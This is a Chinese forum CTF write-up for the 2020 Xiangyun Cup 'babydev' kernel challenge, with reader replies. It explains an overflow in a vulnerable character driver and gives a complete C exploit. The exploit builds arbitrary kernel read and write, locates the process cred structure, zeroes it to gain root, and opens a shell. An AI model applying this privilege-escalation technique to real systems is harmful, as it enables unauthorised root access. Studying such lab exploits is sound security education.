首页
社区
课程
招聘
[原创]祥云杯2020 babydev(内核PWN) 详解
2020-11-28 22:08 10155

[原创]祥云杯2020 babydev(内核PWN) 详解

2020-11-28 22:08
10155

祥云杯2020 babydev(Kernel PWN)

start.sh

1
2
3
4
5
6
7
8
9
10
#!/bin/sh
qemu-system-x86_64 \
-m 256M \
-kernel bzImage \
-initrd core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 nokaslr" \
-cpu qemu64,+smep,+smap \
-nographic \
-monitor /dev/null \
-gdb tcp::1234

没有开kaslr、开启smep和smap,不能ret2usr。

init

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/bin/sh
 
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console
 
insmod mychrdev.ko
chmod 777 /dev/mychrdev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh
 
poweroff -d 0  -f

file结构体

https://elixir.bootlin.com/linux/latest/source/include/linux/fs.h#L921

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
struct file {
    union {
        struct llist_node    fu_llist;
        struct rcu_head     fu_rcuhead;
    } f_u;
    struct path        f_path;
    struct inode        *f_inode;    /* cached value */
    const struct file_operations    *f_op;
 
    /*
     * Protects f_ep_links, f_flags.
     * Must not be taken from IRQ context.
     */
    spinlock_t        f_lock;
    enum rw_hint        f_write_hint;
    atomic_long_t        f_count;
    unsigned int         f_flags;
    fmode_t            f_mode;
    struct mutex        f_pos_lock;
    loff_t            f_pos;                        //  偏移0x68
    struct fown_struct    f_owner;
    const struct cred    *f_cred;                //    这里指向当前进程的cred结构体,偏移0x90
    struct file_ra_state    f_ra;
 
    u64            f_version;
#ifdef CONFIG_SECURITY
    void            *f_security;
#endif
    /* needed for tty driver, and maybe others */
    void            *private_data;
 
#ifdef CONFIG_EPOLL
    /* Used by fs/eventpoll.c to link all the hooks to this file */
    struct list_head    f_ep_links;
    struct list_head    f_tfile_llink;
#endif /* #ifdef CONFIG_EPOLL */
    struct address_space    *f_mapping;
    errseq_t        f_wb_err;
    errseq_t        f_sb_err; /* for syncfs */
} __randomize_layout
  __attribute__((aligned(4)));    /* lest something weird decides that 2 is OK */

fown_struct 结构体

1
2
3
4
5
6
7
struct fown_struct {
    rwlock_t lock;          /* protects pid, uid, euid fields */ //unsigned int=4 ?
    struct pid *pid;    /* pid or -pgrp where SIGIO should be sent */ // 8
    enum pid_type pid_type;    /* Kind of process group SIGIO should be sent to */ // 4
    kuid_t uid, euid;    /* uid/euid of process setting the owner */  //unsigned int*2 = 4*2
    int signum;        /* posix.1b rt signal to be delivered on IO */ // int 4
};

mychrdev.ko

open

write

write每向 llseek + *(mydata+0x10000) + mydata 进行写操作,内容为用户空间传过去的值。同时 *(mydata + 0x10008) 处的值增大。

 

 

unlock_inctl

可以拷贝对应的 struct file 结构体 0xc8 位置的指针指向的内容(前0x28字节)到用户空间。

 

mychrdev_read

在满足条件的情况下将内核空间 llseek + have_use + mydata 处的内容传给用户空间。

 

mychrdev_llseek

llseek用来同过设置 file->f_ops 设置 write()read() 读写的位置。

 

漏洞分析与利用

1.控制地址写的位置的主要是:file->f_pos(以下简称llseek)、以及 *(mydata+0x10000) 处存储的值。

 

2.通过多次的 write 配合 lseek,可以实现将 (mydata+0x10008) 一直增大,配合lseek,触发在write 函数中的一个溢出,可以实现对于 (mydata+0x10000) 和 *(mydata+0x10008) 这两个关键位置的劫持。

 

 

3.劫持 (mydata+0x10000) 和 (mydata+0x10008) 后,配合read函数进行任意地址读,爆破 file 结构体的地址,读取0x98大小,最后8个字节即为 file->f_cred 指向当前进程的 cred 结构体。

 

4.通过计算偏移,重新设置 lseek 和 *(mydata+0x10000) ,配合write函数做任意地址写,目标地址为我们爆破出的 cred 结构体的地址。

 

5.将当前进程的cred结构体前0x28写成全0,达到提权的目的。

 

效果:

 

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
#define _GNU_SOURCE
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <linux/fs.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <time.h>
size_t user_cs, user_ss, user_rflags, user_sp;  //保存用户态寄存器状态
size_t startup_64,prepare_kernel_cred,commit_creds,offset,canary;
void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
}
int main(){
    int fd;
    size_t buf[0x10] = {0};
    size_t buf2[8192+2]={0};
    size_t store = 0;
    buf2[8192] = 0xffffffffffffffff;
    size_t buf3[0x10]={0};
    buf3[0] = 0x6262626262626262;
    size_t buf4[0x100]={0};
 
    //printf("addr:%p\n",&buf);
    int size;
    fd = open("dev/mychrdev",O_RDWR);
    puts("");
    puts("come to write!");
 
    ioctl(fd,0x1111,&buf);
    for(int i=0;i<5;i++){
        printf("0x%llx\n",buf[i]);
    }
    //不停的扩大 mydata + 0x10008的值
    write(fd,buf2,0x10000);
    lseek(fd,-0x10000,SEEK_CUR);
    write(fd,buf2,0x10000);             // 0x0000000000000000      0x0000000000010008
    lseek(fd,-0x10000,SEEK_CUR);
    write(fd,buf2,0x10000);
    lseek(fd,-0x10000,SEEK_CUR);
    //0x30000
 
    lseek(fd,0x10001,SEEK_SET);     //溢出 ,写0x6161616161616161
   // buf2[0] = 0x0000000000000000;
    buf2[0] = -0x6d6;
    //buf2[0] = -0x7d8;       //0x280
    buf2[1] = 0x111111111111;
    //size_t full = 0xffffffffffffffff;
    write(fd,buf2,0x10);     // 任意写 mydata + 0x10000 和 mydata + 0x10008 处的值
 
    //lseek(fd,0,SEEK_SET);
    //sleep(1);
    read(fd,buf4,0x98);
    //sleep(1);
    printf("read:0x%lx\n",buf4[18]); //爆破一个字节,读出cred结构体的位置
    size_t cred_addr = buf4[18];
 
 
    lseek(fd,0x5d568,SEEK_CUR);      
    size_t cred_offset=0;
    size_t fuck[5]={0};
    fuck[0]=(size_t)(cred_addr-0xffff88800db40000);
    fuck[1]=0x111111111111;
    write(fd,fuck,0x10);
    lseek(fd,-0x80000,SEEK_CUR);        //lseek 归零,为任意写做准备
 
    size_t fuck_cred[0x10]={0};
    cred_offset = cred_addr-0xffff88800dbc0000;
 
    puts("[*]fuck cred");
    write(fd,fuck_cred,0x28);                             //任意写,fuck cred
    puts("[*]done");
    system("echo \"root shell\" && /bin/sh");
// 0xffffffffc0000000
// 0xffffffff81000000
// .text:0000000000000145                 mov     rdx, cs:mydata
// mydata: 0xffff88800db40000
// 0xffffffffc00002a7
// struct file0xffff88800daf3a00
 
}

[培训]内核驱动高级班,冲击BAT一流互联网大厂工 作,每周日13:00-18:00直播授课

收藏
点赞1
打赏
分享
最新回复 (4)
雪    币: 612
活跃值: (121)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
wx_yz 2020-12-1 11:40
2
0
师傅可以给个附件吗
雪    币: 481
活跃值: (2163)
能力值: ( LV2,RANK:15 )
在线值:
发帖
回帖
粉丝
Zard_ 2021-1-15 15:15
3
0
wx_yz 师傅可以给个附件吗
https://github.com/fly8wo/Binary_test/tree/main/2020%E7%A5%A5%E4%BA%91%E6%9D%AFbabydev
雪    币: 21
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
hello1 2021-7-2 16:53
4
0

请问,如何爆破file结构体的?如何爆破cred结构体的?

雪    币: 4165
活跃值: (15932)
能力值: (RANK:710 )
在线值:
发帖
回帖
粉丝
Roland_ 12 2021-7-4 14:50
5
0
hello1 请问,如何爆破file结构体的?如何爆破cred结构体的?
多调试几次看一下,那个地址实际上是有规律的
游客
登录 | 注册 方可回帖
返回